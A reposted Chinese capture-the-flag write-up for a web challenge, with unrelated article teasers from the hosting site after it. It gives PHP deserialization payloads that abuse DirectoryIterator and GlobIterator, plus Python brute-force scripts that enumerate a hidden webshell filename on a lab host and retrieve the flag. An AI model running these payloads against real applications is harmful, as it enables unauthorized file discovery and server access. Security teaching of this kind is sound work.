2022gwb_web3

news2024/11/30 2:45:47

在这里插入图片描述
可以通过反序列化出一个 Webclome 类从而任意构造原生类,但只能调用 getSize 方法获取文件或目录
的大小,试了试直接拿根目录的 /flag 就别想了,先看看网站目录有没有藏什么东西(扫目录什么也扫
不出来),EXP如下:

<?php
class Webclome{
  protected $sizeclass="DirectoryIterator";
  protected $filepath="/var/www/html";
}
echo(urlencode(serialize(new Webclome)));

payload:

?flag=O%3A8%3A%22Webclome%22%3A2%3A%7Bs%3A12%3A%22%00%2A%00sizeclass%22%3Bs%3A17%3A%22DirectoryIterator%22%3Bs%3A11%3A%22%00%2A%00filepath%22%3Bs%3A13%3A%22%2Fvar%2Fwww%2Fhtml%22%3B%7D

得到
在这里插入图片描述
可见绝对藏了些东西,因为只有 index.php 不可能会出现这样长这样大的数字

再看看 index.php 多大,可以使用 GlobIterator 来查看为index.php文件大小。
exp如下:

<?php
class Webclome{
	protected $sizeclass="GlobIterator";
	protected $filepath="./index.php";
}

echo(urlencode(serialize(new Webclome)));
?flag=O%3A8%3A%22Webclome%22%3A2%3A%7Bs%3A12%3A%22%00%2A%00sizeclass%22%3Bs%3A12%3A%22GlobIterator%22%3Bs%3A11%3A%22%00%2A%00filepath%22%3Bs%3A11%3A%22.%2Findex.php%22%3B%7D

在这里插入图片描述
可得745。
可见确实藏了其它东西,那我们这里就可以使用同样的方法写个脚本使用 GlobIterator 配合通配符根据能否打开获取到文件大小判断文件是否存在从而得到文件名:

import requests
for i in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ":
	url=f'http://172.21.1.147/index.php?flag=O%3A8%3A%22Webclome%22%3A2%3A%7Bs%3A12%3A%22%00%2A%00sizeclass%22%3Bs%3A12%3A%22GlobIterator%22%3Bs%3A11%3A%22%00%2A%00filepath%22%3Bs%3A2%3A%22{i}%2A%22%3B%7D'
	R=requests.get(url)
	R.encoding='utf-8'
	#print(f'{i} : '+str(len(R.text)))
	if len(R.text) != 5189:
		print(f'{i} : '+str(len(R.text)))

正常高亮显示源代码不输出文件大小的响应包长度为5189,那我们这里就可以以此为判据通过一个字符
加通配符 * 这样的方式来爆破文件名判断文件是否存在,运行得到:
在这里插入图片描述
可见有 0 和 i 的响应包长度异常,说明存在以 0 和以 i 开头的文件名, i 对应的显然应该是
index.php ,那我们再看看以 0 开头的文件是个什么东西,payload:

<?php
class Webclome{
	protected $sizeclass="GlobIterator";
	protected $filepath="./0*";
}

echo(urlencode(serialize(new Webclome)));
?flag=O%3A8%3A%22Webclome%22%3A2%3A%7Bs%3A12%3A%22%00%2A%00sizeclass%22%3Bs%3A12%3A%22GlobIterator%22%3Bs%3A11%3A%22%00%2A%00filepath%22%3Bs%3A4%3A%22.%2F0%2A%22%3B%7D

可见这个文件的大小为70:
在这里插入图片描述
745指的是index.php,那么文件大小为70的是什么?flag?先爆下文件名,还是以正常回显长度做判断

import string,requests
flag='./0'
while True:
	for i in "-0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!":
		length=len(flag)+2
		url=f'http://172.21.1.147/index.php?flag=O%3A8%3A%22Webclome%22%3A2%3A%7Bs%3A12%3A%22%00%2A%00sizeclass%22%3Bs%3A12%3A%22GlobIterator%22%3Bs%3A11%3A%22%00%2A%00filepath%22%3Bs%3A{length}%3A%22{flag}{i}%2A%22%3B%7D'
		R=requests.get(url)
		R.encoding='utf-8'
		if len(R.text)!=5189:
			flag+=i
			print(f'{i} : '+flag)
			break

	if i=='!':
		break

在这里插入图片描述
跑出来一个uuid: 0741cfaf-57f5-481e-a5d7-7bffa923c7a3 。
但是直接访问这个文件名是不存在的,感觉上后面还有东西但遇到了一些爆破字典里没有的字符导致中断了,试了试给字典加了好多字符都跑不出来中断这一位的字符到底是何方神圣,那就不管了先加个问号 ? 跳过看看是不是还有字符,脚本:

import requests
flag='./0741cfaf-57f5-481e-a5d7-7bffa923c7a3?'
while True:
    for i in ".-0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ`":
        length=len(flag)+len(i)+1
        url=f'http://172.21.1.147/index.php?flag=O%3A8%3A%22Webclome%22%3A2%3A%7Bs%3A12%3A%22%00%2A%00sizeclass%22%3Bs%3A12%3A%22GlobIterator%22%3Bs%3A11%3A%22%00%2A%00filepath%22%3Bs%3A{length}%3A%22{flag}{i}%2A%22%3B%7D'
        R=requests.get(url)
        R.encoding='utf-8'
        # print(f'{i} : '+str(len(R.text)))
        if len(R.text)!=5189:
            flag+=i
            print(f'{i} : '+flag)
            break
    if i=='`':
        break

在这里插入图片描述
成功跑出来一个以 php 为后缀的显然是一个 php 页面而且还像是一个webshell的文件名: 0741cfaf-57f5-481e-a5d7-7bffa923c7a3?shell.php
那么现在问题的关键就在于中间 ? 处那个字符到底是个什么东西,继续扩大字典继续跑
在这里插入图片描述
跑出来居然是通配符 * ,即shell文件全名为 0741cfaf-57f5-481e-a5d7-
7bffa923c7a3*shell.php ,访问得到flag:flag{9edd5c99126f16e245b17ff13a30501e}
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/84963.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

再学C语言2:概览

重新把C语言梳理一遍&#xff0c;学习在VSCode中进行C语言编程 一、C语言起源 1972年&#xff0c;贝尔实验室的Dennis Ritchie在C语言的基础上设计出一种新的语言&#xff0c;即C语言 C是作为从事实际编程工作的程序员的一种工具儿出现&#xff0c;是为编程人员开发的语言 二…

【脚本项目源码】Python制作桌面宠物,这么可爱的萌宠你不想拥有吗?

前言 本文给大家分享的是如何通过利用Python制作桌面宠物&#xff0c;废话不多直接开整~ 开发工具 Python版本&#xff1a; 3.6 相关模块&#xff1a; random模块 os模块 cfg模块 sys模块 PyQt5模块 环境搭建 安装Python并添加到环境变量&#xff0c;pip安装需要的相…

skynet设计原理和使用

skynet设计原理一、多核并发编程方式二、skynet2.1、skynet简介2.2、环境准备2.3、编译安装2.4、Actor 模型2.5、消息队列2.6、actor公平调度三、skynet的使用3.1、第一个skynet程序3.2、skynet网络消息3.3、skynet定时消息3.4、skynet actor间消息四、vscode调试skynet总结后言…

Python比较难的知识点: 迭代器与生成器

迭代器与生成器是Python比较难的知识点, 在学Python之前, 我已经有了多年的C语言与MATLAB的使用经验了, 但是学这些知识点, 还是有一定的困难, 总觉得是一知半解的. 现在, 经过一段时间的学习和梳理, 感觉是搞懂了, 写下这篇文章与大家分享. 学习具体概念技术之前, 得知道这些…

c++ - 第17节 - AVL树和红黑树

1.AVL树 1.1.AVL树的概念 二叉搜索树虽可以缩短查找的效率&#xff0c;但如果数据有序或接近有序二叉搜索树将退化为单支树&#xff0c;查找元素相当于在顺序表中搜索元素&#xff0c;效率低下。因此&#xff0c;两位俄罗斯的数学家G.M.Adelson-Velskii和E.M.Landis在1962年发…

Mybatis:MyBatis的逆向工程(10)

Mybaits笔记框架&#xff1a;https://blog.csdn.net/qq_43751200/article/details/128154837 Mybatis中文官方文档&#xff1a; https://mybatis.org/mybatis-3/zh/index.html Mybati的逆向工程1. 正向工程 VS 逆向工程2. 创建逆向工程的步骤&#xff08;MyBatis3Simple清新简洁…

Go 1.20要来了,看看都有哪些变化-第1篇

前言 Go官方团队在2022.12.08发布了Go 1.20 rc1(release candidate)版本&#xff0c;Go 1.20的正式release版本预计会在2023年2月份发布。 让我们先睹为快&#xff0c;看看Go 1.20给我们带来了哪些变化。(文末有彩蛋&#xff01;) 安装方法&#xff1a; $ go install golan…

[附源码]Nodejs计算机毕业设计基于web的火车订票管理系统Express(程序+LW)

该项目含有源码、文档、程序、数据库、配套开发软件、软件安装教程。欢迎交流 项目运行 环境配置&#xff1a; Node.js Vscode Mysql5.7 HBuilderXNavicat11VueExpress。 项目技术&#xff1a; Express框架 Node.js Vue 等等组成&#xff0c;B/S模式 Vscode管理前后端分…

阅读器消退之际:文石造产品,掌阅塑生态

配图来自Canva可画 阅读器正在变得小众&#xff0c;似乎自Kindle以来营造的那种“阅读的生活方式”&#xff0c;已经被证明是一个伪命题&#xff1a;会阅读的人&#xff0c;无论如何都会去阅读&#xff1b;不会阅读的人&#xff0c;阅读器的归宿终究是一个“泡面盖”。于是&am…

Android原生项目接入flutter_boost4.0

折腾了好几天&#xff0c;经验思维导致的&#xff0c;记录一下踩坑。 官方接入步骤官方文档 接入原生&#xff0c;就3个步骤&#xff0c;我都能折腾好久&#xff0c;浪费时间。 flutter部分很简单&#xff0c;按文档配置就行&#xff0c;在pubspec.yaml依赖就好了。 &#…

Ceph性能瓶颈分析与优化(混合盘篇)

原文链接: Ceph性能瓶颈分析与优化(混合盘篇) - 知乎背景ssdhdd的混合盘场景在各个存储厂商中算是一种典型应用场景。 但是经过测试(4k随机写)发现&#xff0c;加了nvme ssd做ceph的wal和db后&#xff0c;性能提升仅一倍以内且nvme盘性能余量较大。所以希望通过对问题瓶颈进行…

目标检测数据标注案例-高清地图中障碍物(汽车)标注

计算机视觉在无人机中领域中有何作用? 无人机能够在空中识别、分类和追踪目标。无人机的摄像头和感应器可以捕获数据并进行分析&#xff0c;以提取重要信息。 AI可以自动提取视觉数据信息&#xff0c;准确识别、说明和追踪图像和视频中的目标。例如高空检测工作&#xff0c;…

Nacos 配置中心之长轮询--客户端

先来看下长轮询调用的链路 客户端 入口 在 NacosConfigService 初始化的时候,会初始化两个组件 一是网络组件,也就是http数据处理的 (起作用的是 ServerHttpAgent)二是客户端的长轮询ClientWorker public NacosConfigService(Properties properties) throws NacosException…

本地连接docker mysql

1.拉取镜像 docker pull mysql 2.启动mysql实例容器 docker run --name mysql -p 3307:3306 -e MYSQL_ROOT_PASSWORDmysql_pw -d mysql --name 为mysql的实例设置别名。 -p 3307为对外暴露的端口。3306是内部端口 -e MYSQL_ROOT_PASSWORD 设置mysql登录密码 -d 以守…

1.41.5 模型评估和选择,正则化和交叉验证

1.4&1.5 模型评估和选择&#xff0c;正则化和交叉验证模型评估和选择训练误差和测试误差过拟合正则化与交叉验证正则化交叉验证模型评估和选择 训练误差和测试误差 将预测系统的X作为输入&#xff0c;输入到模型里面&#xff0c;就可以得到预测结果。 学习到的模型&…

UNIX网络编程卷一 学习笔记 第五章 TCP客户/服务器程序示例

本章将编写一个完整的TCP客户/服务器程序&#xff0c;这个简单例子是执行以下步骤的一个回射服务器&#xff1a; 1.客户从标准输入读入一行文本&#xff0c;并写给服务器&#xff1b; 2.服务器从网络输入读入这行文本&#xff0c;并回射给客户&#xff1b; 3.客户从网络输入读入…

Spring Ioc 依赖来源-7

1. 依赖查找的来源&#xff1a;除容器内建和自定义Spring Bean之外&#xff0c;还有其他来源提供依赖查找吗&#xff1f; 查找来源 Spring 內建 BeanDefintion Spring 內建单例对象 当spring在注解环境下面, 这个 registerAnnotationConfigProcessors API会被调用, 它会被…

Xilinx Vivado的RTL分析(RTL analysis)、综合(synthesis)和实现(implementation)的区别?

1、一般流程 Xilinx 的开发工具Vivado其实还是比较好上手的&#xff0c;在左边的设计流程导航已经把FPGA的开发过程按先后顺序给排列出来了&#xff1a; Project Manager&#xff1a;项目管理器&#xff0c;此项是对项目的参数进行设置 IP Integrator&#xff1a;IP集成器&…

广域铭岛参编《数智化供应链参考架构》标准正式发布

近日&#xff0c;广域铭岛参编的《数智化供应链参考架构》标准正式发布。该标准由工业互联网产业联盟&#xff08;以下简称“联盟/AII”&#xff09;发布&#xff0c;是国内首个数智化供应链领域的参考架构标准&#xff0c;明确了新兴的数字化和智能化技术如何在供应链领域应用…

大数据进程管理

进程管理 查看进程 进程查看命令 ps la | head -5&#xff0c;能够观察所有系统的数据 ps axjf | head -20&#xff0c;连同部分程序树状态 ps l仅查看自己的bash相关的进程 ps aux观察系统所有进程 属性含义USER进程使用者PID进程标识符%CPU进程使用掉的CPU 资源百分比%MEM…